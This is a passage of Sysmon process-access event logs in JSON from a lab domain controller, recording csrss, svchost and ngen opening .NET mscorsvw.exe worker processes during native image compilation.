12:01:30.635","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-0010A2D70A00}","TargetProcessId":"4412","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6787,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.650\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-0010A2D70A00}\r\nTargetProcessId: 4412\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.650","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-0010A2D70A00}","TargetProcessId":"4412","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6788,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.682\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-00109BDA0A00}\r\nTargetProcessId: 4808\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.682","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-00109BDA0A00}","TargetProcessId":"4808","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6789,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.682\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-00109BDA0A00}\r\nTargetProcessId: 4808\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.682","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-00109BDA0A00}","TargetProcessId":"4808","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6790,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.698\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-00109BDA0A00}\r\nTargetProcessId: 4808\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.698","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-00109BDA0A00}","TargetProcessId":"4808","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6791,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.775\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-00105CDE0A00}\r\nTargetProcessId: 3392\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.775","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-00105CDE0A00}","TargetProcessId":"3392","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6792,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.775\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-00105CDE0A00}\r\nTargetProcessId: 3392\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.775","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-00105CDE0A00}","TargetProcessId":"3392","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6793,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.791\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-00105CDE0A00}\r\nTargetProcessId: 3392\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.791","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-00105CDE0A00}","TargetProcessId":"3392","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6794,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.839\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-0010E5E10A00}\r\nTargetProcessId: 4712\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C